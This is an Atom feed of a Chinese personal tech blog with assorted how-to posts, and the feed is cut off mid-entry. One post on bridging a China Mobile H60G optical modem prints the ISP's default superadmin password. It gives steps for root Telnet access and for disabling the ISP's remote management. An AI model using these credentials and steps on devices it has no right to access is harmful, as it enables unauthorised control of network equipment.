<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Gddhy&#39;s Blog</title>
  
  <subtitle>回忆个人博客</subtitle>
  <link href="/atom.xml" rel="self"/>
  
  <link href="https://gddhy.net/"/>
  <updated>2026-05-29T05:26:45.566Z</updated>
  <id>https://gddhy.net/</id>
  
  <author>
    <name>gddhy</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>国产手机平台文件夹大揭密</title>
    <link href="https://gddhy.net/2026/guo-chan-shou-ji-ping-tai-wen-jian-jia-da-jie-mi/"/>
    <id>https://gddhy.net/2026/guo-chan-shou-ji-ping-tai-wen-jian-jia-da-jie-mi/</id>
    <published>2026-04-09T20:30:55.000Z</published>
    <updated>2026-05-29T05:26:45.566Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>先打开什么qq之类的应用，然后在sd卡内就会生成相应的文件夹，按下面的进行查验  </p></blockquote><a id="more"></a>  <p>1.mythroad、mulgam、downdata/mr、Mulcame 杭州斯凯软件平台: mrp<br>2.merig 至尊宝meg(新版) ;meg<br>3.mestep 至尊宝met(旧版); met<br>4.zmol 杭州掌盟拇指30 ;app<br>5.application 上海雪鲤鱼平台; app<br>6.mrapp 展讯平台 ;mrp<br>7.Iava 艾华 ;Lav+iad<br>8.vre 沃勤 ;axf<br>9.APPLE 联想手机平台 ;jra<br>10.ROM 优百特 ;smc<br>11.gtsbox 上海格瑞游戏; gbx<br>12.JAVA JAVA ;jar+jad<br>13.Audio 铃声,录音<br>14.Ebook/book/books 电子书<br>15.Photos/Photo 照片<br>16.Received 接受外来文件夹<br>17.TTS/asr 语音王<br>18.Video/Videos/My Video 视频<br>19.kuaitu 快图<br>20.SongLibrary 点歌台<br>21.Game/Games/ KKgame MyNes /Nes/Nesmrp 游戏<br>22.TigerMap 老虎地图<br>23.Images 彩信图片保存文件夹<br>24.Vcard 电话本<br>25.edushi 三维城市地图<br>26.tl_player 天籁传音<br>27.umphone 电子名片或语音王<br>28.brs/mmlive存放网页和下栽<br>29.map jcs格式电子地图<br>30.phbimage彩信图片<br>31.cmsbrw上网有关<br>32.dsm国产手机收费陷阱文件夹，内含两个ini后缀文件<br>33.callvest康佳手机来电归属文件夹<br>34.Englishto背单词、英汉词典等<br>35.store文件夹，是腾讯开发tmc格式</p><blockquote><p>转载自<a href="https://www.jysafe.cn/673.air" target="_blank" rel="noopener">祭夜の咖啡馆</a></p></blockquote>]]></content>
    
    <summary type="html">
    
      &lt;blockquote&gt;
&lt;p&gt;先打开什么qq之类的应用，然后在sd卡内就会生成相应的文件夹，按下面的进行查验  &lt;/p&gt;
&lt;/blockquote&gt;
    
    </summary>
    
    
    
  </entry>
  
  <entry>
    <title>小米电视API收集整理</title>
    <link href="https://gddhy.net/2026/xiao-mi-dian-shi-api/"/>
    <id>https://gddhy.net/2026/xiao-mi-dian-shi-api/</id>
    <published>2026-02-19T11:34:06.000Z</published>
    <updated>2026-05-29T05:26:45.569Z</updated>
    
    <content type="html"><![CDATA[<p>收集整理的局域网控制小米电视的API  </p><a id="more"></a>  <h4 id="获取电视机基础信息"><a href="#获取电视机基础信息" class="headerlink" title="获取电视机基础信息"></a>获取电视机基础信息</h4><figure class="highlight dts"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="symbol">http:</span><span class="comment">//192.168.31.xxx:6095/request?action=isalive</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">&#123;</span><br><span class="line">    <span class="string">"status"</span>: <span class="number">0</span>,</span><br><span class="line">    <span class="string">"msg"</span>: <span class="string">"success"</span>,</span><br><span class="line">    <span class="string">"data"</span>: &#123;</span><br><span class="line">        <span class="string">"devicename"</span>: <span class="string">"客厅的小米电视"</span>,</span><br><span class="line">        <span class="string">"ip"</span>: <span class="string">"192.168.31.xxx:6095"</span>,</span><br><span class="line">        <span class="string">"feature"</span>: [</span><br><span class="line">            <span class="string">"power"</span></span><br><span class="line">        ],</span><br><span class="line">        <span class="string">"url"</span>: [</span><br><span class="line">            <span class="string">"http://bilibili.kankanews.com/video/av\\d+/"</span>,</span><br><span class="line">            <span class="string">"http://www.bilibili.tv/video/av\\d+/"</span></span><br><span class="line">        ],</span><br><span class="line">        <span class="string">"platform"</span>: <span class="number">699</span>,</span><br><span class="line">        <span class="string">"build"</span>: <span class="number">3354</span>,</span><br><span class="line">        <span class="string">"version"</span>: <span class="number">16777510</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="获取电视机安装的APP"><a href="#获取电视机安装的APP" class="headerlink" title="获取电视机安装的APP"></a>获取电视机安装的APP</h4><figure class="highlight dts"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="symbol">http:</span><span class="comment">//192.168.31.xxx:6095/controller?action=getinstalledapp&amp;count=999&amp;changeIcon=1</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">&#123;</span><br><span class="line">    <span class="string">"status"</span>: <span class="number">0</span>,</span><br><span class="line">    <span class="string">"msg"</span>: <span class="string">"success"</span>,</span><br><span class="line">    <span class="string">"data"</span>: &#123;</span><br><span class="line">        <span class="string">"AppInfo"</span>: [</span><br><span class="line">            &#123;</span><br><span class="line">                <span class="string">"PackageName"</span>: <span class="string">"com.xiaomi.tweather"</span>,</span><br><span class="line">                <span class="string">"IconURL"</span>: <span class="string">"http://192.168.31.xxx:6095/request?action=getResource&amp;name=com.xiaomi.tweather0.png"</span>,</span><br><span class="line">                <span class="string">"AppName"</span>: <span class="string">"天气"</span>,</span><br><span class="line">                <span class="string">"Order"</span>: <span class="number">1</span></span><br><span class="line">            &#125;,</span><br><span class="line">            &#123;</span><br><span class="line">                <span class="string">"PackageName"</span>: <span class="string">"com.mitv.tvhome"</span>,</span><br><span class="line">                <span class="string">"IconURL"</span>: <span class="string">"http://192.168.31.xxx:6095/request?action=getResource&amp;name=com.mitv.tvhome0.png"</span>,</span><br><span class="line">                <span class="string">"AppName"</span>: <span class="string">"桌面"</span>,</span><br><span class="line">                <span class="string">"Order"</span>: <span class="number">2</span></span><br><span class="line">            &#125;,</span><br><span class="line">            &#123;</span><br><span class="line">                <span class="string">"PackageName"</span>: <span class="string">"com.xiaomi.mitv.tvmanager"</span>,</span><br><span class="line">                <span class="string">"IconURL"</span>: <span class="string">"http://192.168.31.xxx:6095/request?action=getResource&amp;name=com.xiaomi.mitv.tvmanager0.png"</span>,</span><br><span class="line">                <span class="string">"AppName"</span>: <span class="string">"电视管家"</span>,</span><br><span class="line">                <span class="string">"Order"</span>: <span class="number">3</span></span><br><span class="line">            &#125;</span><br><span class="line">        ]</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="启动APP"><a href="#启动APP" class="headerlink" title="启动APP"></a>启动APP</h4><figure class="highlight groovy"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">http:</span><span class="comment">//192.168.31.xxx:6095/controller?action=startapp&amp;type=packagename&amp;packagename=com.xiaomi.tweather</span></span><br><span class="line"></span><br><span class="line">&#123;</span><br><span class="line">  <span class="string">"status"</span>: <span class="number">0</span>,</span><br><span class="line">  <span class="string">"msg"</span>: <span class="string">"success"</span>,</span><br><span class="line">  <span class="string">"data"</span>: <span class="literal">null</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="按键输入"><a href="#按键输入" class="headerlink" title="按键输入"></a>按键输入</h4><figure class="highlight dts"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="symbol">http:</span><span class="comment">//192.168.31.xxx:6095/controller?action=keyevent&amp;keycode=enter</span></span><br><span class="line"></span><br><span class="line">&#123;</span><br><span class="line">  <span class="string">"status"</span>: <span class="number">0</span>,</span><br><span class="line">  <span class="string">"msg"</span>: <span class="string">"success"</span>,</span><br><span class="line">  <span class="string">"data"</span>: &#123;&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>keycode 可以是以下值</p><table><thead><tr><th align="center">keycode</th><th align="center">功能</th></tr></thead><tbody><tr><td align="center">power</td><td align="center">电源开关</td></tr><tr><td align="center">up</td><td align="center">上</td></tr><tr><td align="center">down</td><td align="center">下</td></tr><tr><td align="center">left</td><td align="center">左</td></tr><tr><td align="center">right</td><td align="center">右</td></tr><tr><td align="center">enter</td><td align="center">确认</td></tr><tr><td align="center">home</td><td align="center">桌面</td></tr><tr><td align="center">back</td><td align="center">返回</td></tr><tr><td align="center">menu</td><td align="center">菜单</td></tr><tr><td align="center">volumeup</td><td align="center">音量加</td></tr><tr><td align="center">volumedown</td><td align="center">音量减</td></tr></tbody></table><blockquote><p><a href="https://heiok.com/Xiaomi-TV-API.html" target="_blank" rel="noopener">小米电视机API开发接口-网络蝙蝠侠部落</a></p></blockquote>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;收集整理的局域网控制小米电视的API  &lt;/p&gt;
    
    </summary>
    
    
    
  </entry>
  
  <entry>
    <title>安卓命令切换上网卡(root)</title>
    <link href="https://gddhy.net/2025/an-zhuo-qie-huan-shang-wang-qia-root/"/>
    <id>https://gddhy.net/2025/an-zhuo-qie-huan-shang-wang-qia-root/</id>
    <published>2025-08-08T12:01:04.000Z</published>
    <updated>2026-05-29T05:26:45.568Z</updated>
    
    <content type="html"><![CDATA[<p>在安卓上用shell命令切换上网卡，适合脚本/自动化使用，需要使用root权限运行  </p><a id="more"></a>  <p>下边两个方法自测那个可用（澎湃OS2安卓15方法2可用）</p><h4 id="方法1"><a href="#方法1" class="headerlink" title="方法1"></a>方法1</h4><p>切到卡1</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">settings put global multi_sim_data_call 1</span><br><span class="line">svc data <span class="built_in">disable</span></span><br><span class="line">svc data <span class="built_in">enable</span></span><br></pre></td></tr></table></figure><p>切到卡2</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">settings put global multi_sim_data_call 2</span><br><span class="line">svc data <span class="built_in">disable</span></span><br><span class="line">svc data <span class="built_in">enable</span></span><br></pre></td></tr></table></figure><h4 id="方法2"><a href="#方法2" class="headerlink" title="方法2"></a>方法2</h4><p>切到卡1</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">settings put global multi_sim_data_call 1</span><br><span class="line">setprop persist.radio.default.data 0</span><br><span class="line">am start com.android.stk/.ToneDialog</span><br></pre></td></tr></table></figure><p>切到卡2</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">settings put global multi_sim_data_call 2</span><br><span class="line">setprop persist.radio.default.data 1</span><br><span class="line">am start com.android.stk/.ToneDialog</span><br></pre></td></tr></table></figure><p>方法2需要手机USIM卡应用（com.android.stk）可以正常使用（未卸载/冻结）</p><h4 id="生成适合本机使用的脚本"><a href="#生成适合本机使用的脚本" class="headerlink" title="生成适合本机使用的脚本"></a>生成适合本机使用的脚本</h4><p>附一个生成一键切卡的脚本，来自<a href="https://www.coolapk.com/feed/63020520" target="_blank" rel="noopener">酷安@请输入新用户名99</a>，生成的切卡脚本仅适合生成的手机使用，因为部分手机的sim卡主键/序号和卡槽1/卡槽2不对应<br>（sim卡主键/序号可以用<a href="https://github.com/pppscn/SmsForwarder" target="_blank" rel="noopener">短信转发器</a>查看）</p><p><a href="自动化生成切换上网卡脚本.sh">脚本下载</a>，下载后使用mt管理器运行，需要root</p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;在安卓上用shell命令切换上网卡，适合脚本/自动化使用，需要使用root权限运行  &lt;/p&gt;
    
    </summary>
    
    
    
  </entry>
  
  <entry>
    <title>键盘测试工具</title>
    <link href="https://gddhy.net/2025/jian-pan-ce-shi-gong-ju/"/>
    <id>https://gddhy.net/2025/jian-pan-ce-shi-gong-ju/</id>
    <published>2025-07-25T13:24:50.000Z</published>
    <updated>2026-05-29T05:26:45.589Z</updated>
    
    <content type="html"><![CDATA[<p>工具来自<a href="https://www.bmcx.com/" target="_blank" rel="noopener">便民查询网</a>，使用api集成方便快速使用  </p><a id="more"></a>  <iframe id="api_iframe_bmcx" name="api_iframe_bmcx" src width="100%" height="800" scrolling="no" frameborder="0"></iframe><script type="text/javascript">//接口生成：https://www.bmcx.com/api/document.getElementById("api_iframe_bmcx").src = "https://www.bmcx.com/apiiframe/?api_from=bmcx&api_url=https://keyboard.bmcx.com/&api_width=98%&api_backgroundcolor=FFFFFF&api_agent="+location.href.match(/^.*?\:\/\/[^\/]+\//i)+"p/www.bmcx.com/api/bmcx_api_agent.html&api_navigation=no";</script>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;工具来自&lt;a href=&quot;https://www.bmcx.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;便民查询网&lt;/a&gt;，使用api集成方便快速使用  &lt;/p&gt;
    
    </summary>
    
    
    
  </entry>
  
  <entry>
    <title>移动套餐公示</title>
    <link href="https://gddhy.net/2025/yi-dong-tao-can-gong-shi/"/>
    <id>https://gddhy.net/2025/yi-dong-tao-can-gong-shi/</id>
    <published>2025-07-25T13:20:33.000Z</published>
    <updated>2026-05-29T05:26:45.587Z</updated>
    
    <content type="html"><![CDATA[<p>重新整理的移动套餐公示查询链接  </p><a id="more"></a>  <p>套餐公示（手机版网页）<br><a href="https://h.app.coc.10086.cn/cmcc-app/tariffZoneCP/tariffZoneCPNQD.html?WT.ac_id=P00000010676&amp;prov=531&amp;yx=JH202208231899&amp;touch_id=01-02-10001-2001-BC970" target="_blank" rel="noopener">https://h.app.coc.10086.cn/cmcc-app/tariffZoneCP/tariffZoneCPNQD.html?WT.ac_id=P00000010676&amp;prov=531&amp;yx=JH202208231899&amp;touch_id=01-02-10001-2001-BC970</a></p><p>套餐公示（pc版网页）<br><a href="https://h.app.coc.10086.cn/cmcc-app/pc-pages/tariffZonePers.html?pageId=834148205904408576&amp;prov=531&amp;channelId=P00000010676" target="_blank" rel="noopener">https://h.app.coc.10086.cn/cmcc-app/pc-pages/tariffZonePers.html?pageId=834148205904408576&amp;prov=531&amp;channelId=P00000010676</a><br>pc版可以点击右上角切换查询地区</p><p>移动手机号定向流量范围查询<br><a href="https://dev.coc.10086.cn/coc/web2/newFlowFeeePackage/" target="_blank" rel="noopener">https://dev.coc.10086.cn/coc/web2/newFlowFeeePackage/</a></p><p>pc版线上营业厅<br><a href="https://www.10086.cn/index/sd/index_531_536.html" target="_blank" rel="noopener">https://www.10086.cn/index/sd/index_531_536.html</a><br>进入 不登陆手机号 改地区 下边可以看对应地区的套餐公示</p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;重新整理的移动套餐公示查询链接  &lt;/p&gt;
    
    </summary>
    
    
    
  </entry>
  
  <entry>
    <title>安卓老软件适配全面屏</title>
    <link href="https://gddhy.net/2025/an-zhuo-lao-ruan-jian-gua-pei-quan-mian-ping/"/>
    <id>https://gddhy.net/2025/an-zhuo-lao-ruan-jian-gua-pei-quan-mian-ping/</id>
    <published>2025-03-08T22:45:07.000Z</published>
    <updated>2026-05-29T05:26:45.568Z</updated>
    
    <content type="html"><![CDATA[<p>发现新版小米系统没有应用全面屏优化了，老软件得自己动手适配，下边直接开始  </p><a id="more"></a>  <p>反编译安卓apk里的 <code>AndroidManifest.xml</code> ，在 <code>application</code> 标签里添加下边代码即可</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&lt;meta-<span class="class"><span class="keyword">data</span></span></span><br><span class="line">  android:name=<span class="string">"android.max_aspect"</span></span><br><span class="line">  android:value=<span class="string">"2.1"</span> /&gt;</span><br></pre></td></tr></table></figure><p>2.1为支持的最大屏幕比例，如果设备有更长的屏幕比例可以适当调大</p><p>16:9约等于1.77<br>18:9等于2<br>21:9约等于2.33</p><figure class="highlight applescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">&lt;<span class="built_in">application</span></span><br><span class="line">  ...&gt;</span><br><span class="line">  &lt;meta-data</span><br><span class="line">    android:<span class="built_in">name</span>=<span class="string">"android.max_aspect"</span></span><br><span class="line">    android:value=<span class="string">"2.1"</span> /&gt;</span><br><span class="line">&lt;/<span class="built_in">application</span>&gt;</span><br></pre></td></tr></table></figure>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;发现新版小米系统没有应用全面屏优化了，老软件得自己动手适配，下边直接开始  &lt;/p&gt;
    
    </summary>
    
    
    
  </entry>
  
  <entry>
    <title>移动改桥接</title>
    <link href="https://gddhy.net/2024/yi-dong-guang-mao-gai-qiao-jie/"/>
    <id>https://gddhy.net/2024/yi-dong-guang-mao-gai-qiao-jie/</id>
    <published>2024-03-12T11:48:06.000Z</published>
    <updated>2026-05-29T05:26:45.587Z</updated>
    
    <content type="html"><![CDATA[<p>简单记一次移动光猫改桥接  </p><a id="more"></a>  <p>光猫型号：H60G</p><p>这个型号的光猫开始没有动态管理员密码的，默认管理员账号 <code>CMCCAdmin</code> 密码 <code>aDm8H%MdA</code> ，在使用过程中发现移动后期改成了动态密码</p><p>可以先进入路由器后台查看，如果默认管理员密码可以使用，则可以跳过获取管理员密码步骤</p><h4 id="获取管理员密码"><a href="#获取管理员密码" class="headerlink" title="获取管理员密码"></a>获取管理员密码</h4><p>先使用光猫背后的用户账号登录光猫管理员后台，依次打开 <code>网络</code> - <code>远程管理</code> - <code>认证</code> ,记录下里面的 <code>Password</code> 的值，后续会用到</p><p>使用牙签或卡针捅光猫的Reset孔，多等一会松开，等光猫重置</p><p>光猫重置后使用电脑直连光猫lan口，打开光猫后台，此时可以使用光猫默认管理员账号登录</p><p>账号：CMCCAdmin<br>密码：aDm8H%MdA</p><p>登录依次打开 <code>安全</code> - <code>Telnet配置</code> - 勾选 <code>启用LAN侧Telnet</code>,记录下用户名、密码（也可自定义用户名密码），点击确定</p><p>右上角退出账号登录，选择 <code>设备注册</code> ，输入刚才记录的password值，如果之前没有记录的话只能问宽带安装师傅询问注册码，输入注册码后等待移动下发数据注册网络</p><p>移动数据下发完成后光猫管理员密码会变成动态的，此时使用Telnet修改光猫管理员密码</p><p>按 <code>Win</code> + <code>R</code> 打开运行窗口输入 <code>cmd</code> 确定，打开控制台cmd窗口，输入下边命令后回车</p><figure class="highlight angelscript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">telnet <span class="number">192.168</span><span class="number">.1</span><span class="number">.1</span></span><br></pre></td></tr></table></figure><blockquote><p>出现telnet不是内部或外部命令的，去Windows可选功能里启用Telnet</p></blockquote><p>输入前边记录的telnet用户名（回车）<br>输入前边记录的telnet密码（回车）  </p><p>识符变成 <code>~$</code> 后输入： <code>su</code> （回车）</p><p>输入密码 <code>aDm8H%MdA</code> （回车）</p><p>标识符变成 <code>/#</code> 此时便是以root用户登录光猫控制台</p><p>修改管理员超级账号为 CMCCAdmin (可自定义)</p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sidbg 1 DB <span class="builtin-name">set</span> DevAuthInfo 0<span class="built_in"> User </span>CMCCAdmin</span><br></pre></td></tr></table></figure><p>修改管理员超级账号的密码 aDm8H%MdA (可自定义)</p><figure class="highlight angelscript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sidbg <span class="number">1</span> DB <span class="keyword">set</span> DevAuthInfo <span class="number">0</span> Pass aDm8H%MdA</span><br></pre></td></tr></table></figure><p>执行上面命令后管理员密码便改为了aDm8H%MdA或自定义的密码</p><h4 id="光猫改桥接"><a href="#光猫改桥接" class="headerlink" title="光猫改桥接"></a>光猫改桥接</h4><p>使用管理员账号登录光猫后台，进入 <code>网络</code> - <code>宽带设置</code> ，在链接名称里选择包含 <code>_INTERNET_R_VID_</code> 的配置，记录下设备的 <code>VLAN ID</code> </p><p>记录VLAN ID后， <code>_INTERNET_R_VID_</code> 配置可以保留也可以删除（建议直接删除）</p><p>在 <code>连接名称</code> 里选择 <code>新建WAN连接</code> </p><p> <code>模式</code> 选择 <code>桥模式</code> </p><p> <code>VLAN模式</code> 选择 <code>改写(tag)</code> </p><p> <code>VLAN ID</code> 里填写刚才记录的VLAN ID</p><p>使能打勾，端口绑定LAN1~4可以全打勾，也可以不选</p><p>DHCP服务器使能取消勾选</p><p>桥类型，我选择的 IP BRIDGE，不知道和PPPOE BRIDGE有何区别<br>业务模式选择INTERNET</p><p>设置完成后确定</p><p>改桥接后可以在路由器设置拨号，移动宽带账号一般为手机号，宽带密码可以询问宽带安装师傅或者自己重置密码</p><h4 id="禁用移动的远程下发配置"><a href="#禁用移动的远程下发配置" class="headerlink" title="禁用移动的远程下发配置"></a>禁用移动的远程下发配置</h4><p>在 <code>网络</code> - <code>宽带设置</code> 里，连接名称选择包含 <code>TR069</code> 的配置，进入浏览器调试（F12/Ctrl+shift+i）,找到使能、修改按钮，把HTML中的 <code>disable</code> 改为 <code>enable</code> 或者直接删掉。然后取消勾选使能，点击修改</p><p>在 <code>网络</code> - <code>远程管理</code> - <code>省级数字家庭管理平台服务器</code> ,使用浏览器调试把使能和下边确定按钮改为可选择（方法同上），取消勾选使能，点击下边确定保存</p><p>修改完后可以再 <code>状态</code> - <code>设备信息</code> 里看到 <code>ITMS注册状态</code> 为 <code>注册失败</code> 便是成功</p><h4 id="重置密码"><a href="#重置密码" class="headerlink" title="重置密码"></a>重置密码</h4><p>编辑短信 <code>KDMM</code> 发送到 <code>10086</code> 查询</p><p>编辑短信 <code>CZKDMM</code> 发送到 <code>10086</code> 重置宽带密码</p><p>使用中国移动APP，打开 <code>我的</code> - 我的家庭 - <code>家庭专区</code> -宽带服务 - <code>更多内容</code> - <code>密码修改</code> </p><p>部分省市的默认密码 123123、123456、手机号后6位、身份证后6位</p><blockquote><p>我参考恩山论坛帖子修改的，在这里简单记录，详细图文可以在下边帖子里看到<br><a href="https://www.right.com.cn/forum/thread-5475669-1-1.html" target="_blank" rel="noopener">https://www.right.com.cn/forum/thread-5475669-1-1.html</a><br><a href="https://www.right.com.cn/forum/thread-8237756-1-1.html" target="_blank" rel="noopener">https://www.right.com.cn/forum/thread-8237756-1-1.html</a></p></blockquote>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;简单记一次移动光猫改桥接  &lt;/p&gt;
    
    </summary>
    
    
    
  </entry>
  
  <entry>
    <title>js简单弹窗</title>
    <link href="https://gddhy.net/2024/js-jian-dan-dan-chuang/"/>
    <id>https://gddhy.net/2024/js-jian-dan-dan-chuang/</id>
    <published>2024-03-05T19:04:44.000Z</published>
    <updated>2026-05-29T05:26:45.521Z</updated>
    
    <content type="html"><![CDATA[<p>js简单弹窗实现，弹窗默认隐藏，点击Open Popup弹出，点击Close或弹窗外围隐藏，文心一言生成  </p><a id="more"></a>  <p>弹窗效果 </p><p><button id="openPopup">Open Popup</button>  </p><div id="popupContainer" class="popup-container" style="position: fixed;top: 0;left: 0;width: 100%;height: 100%;display: none;justify-content: center;align-items: center;background-color: rgba(0, 0, 0, 0.5);z-index: 1000;">      <div id="popup" class="popup" style="background-color: #fff;border-radius: 10px;padding: 20px;box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);animation: fadeIn 0.3s;">          <h2>Popup Title</h2>          <p>This is a simple popup with rounded corners and a fade-in animation.</p>          <button id="closePopup">Close</button>      </div>  </div>  <script>      document.getElementById('openPopup').addEventListener('click', function() {          document.getElementById('popupContainer').style.display = 'flex';      });      document.getElementById('closePopup').addEventListener('click', function() {          document.getElementById('popupContainer').style.display = 'none';      });      window.addEventListener('click', function(event) {          if (event.target == document.getElementById('popupContainer')) {              document.getElementById('popupContainer').style.display = 'none';          }      });  </script><p>源代码</p><p>HTML代码片段</p><figure class="highlight applescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">&lt;button <span class="built_in">id</span>=<span class="string">"openPopup"</span>&gt;Open Popup&lt;/button&gt;  </span><br><span class="line">  </span><br><span class="line">&lt;<span class="keyword">div</span> <span class="built_in">id</span>=<span class="string">"popupContainer"</span> <span class="built_in">class</span>=<span class="string">"popup-container"</span> style=<span class="string">"position: fixed;top: 0;left: 0;width: 100%;height: 100%;display: none;justify-content: center;align-items: center;background-color: rgba(0, 0, 0, 0.5);z-index: 1000;"</span>&gt;  </span><br><span class="line">    &lt;<span class="keyword">div</span> <span class="built_in">id</span>=<span class="string">"popup"</span> <span class="built_in">class</span>=<span class="string">"popup"</span> style=<span class="string">"background-color: #fff;border-radius: 10px;padding: 20px;box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);animation: fadeIn 0.3s;"</span>&gt;  </span><br><span class="line">        &lt;h2&gt;Popup Title&lt;/h2&gt;  </span><br><span class="line">        &lt;p&gt;This <span class="keyword">is</span> a simple popup <span class="keyword">with</span> rounded corners <span class="keyword">and</span> a fade-<span class="keyword">in</span> animation.&lt;/p&gt;  </span><br><span class="line">        &lt;button <span class="built_in">id</span>=<span class="string">"closePopup"</span>&gt;Close&lt;/button&gt;  </span><br><span class="line">    &lt;/<span class="keyword">div</span>&gt;  </span><br><span class="line">&lt;/<span class="keyword">div</span>&gt;</span><br></pre></td></tr></table></figure><p>JavaScript代码片段</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">  <span class="tag">&lt;<span class="name">script</span>&gt;</span>  </span><br><span class="line"><span class="javascript">    <span class="built_in">document</span>.getElementById(<span class="string">'openPopup'</span>).addEventListener(<span class="string">'click'</span>, <span class="function"><span class="keyword">function</span>(<span class="params"></span>) </span>&#123;  </span></span><br><span class="line"><span class="javascript">        <span class="built_in">document</span>.getElementById(<span class="string">'popupContainer'</span>).style.display = <span class="string">'flex'</span>;  </span></span><br><span class="line">    &#125;);  </span><br><span class="line">  </span><br><span class="line"><span class="javascript">    <span class="built_in">document</span>.getElementById(<span class="string">'closePopup'</span>).addEventListener(<span class="string">'click'</span>, <span class="function"><span class="keyword">function</span>(<span class="params"></span>) </span>&#123;  </span></span><br><span class="line"><span class="javascript">        <span class="built_in">document</span>.getElementById(<span class="string">'popupContainer'</span>).style.display = <span class="string">'none'</span>;  </span></span><br><span class="line">    &#125;);  </span><br><span class="line">  </span><br><span class="line"><span class="javascript">    <span class="built_in">window</span>.addEventListener(<span class="string">'click'</span>, <span class="function"><span class="keyword">function</span>(<span class="params">event</span>) </span>&#123;  </span></span><br><span class="line"><span class="javascript">        <span class="keyword">if</span> (event.target == <span class="built_in">document</span>.getElementById(<span class="string">'popupContainer'</span>)) &#123;  </span></span><br><span class="line"><span class="javascript">            <span class="built_in">document</span>.getElementById(<span class="string">'popupContainer'</span>).style.display = <span class="string">'none'</span>;  </span></span><br><span class="line">        &#125;  </span><br><span class="line">    &#125;);  </span><br><span class="line"><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;js简单弹窗实现，弹窗默认隐藏，点击Open Popup弹出，点击Close或弹窗外围隐藏，文心一言生成  &lt;/p&gt;
    
    </summary>
    
    
    
      <category term="JavaScript" scheme="https://gddhy.net/tags/JavaScript/"/>
    
  </entry>
  
  <entry>
    <title>js 简单弹框toast</title>
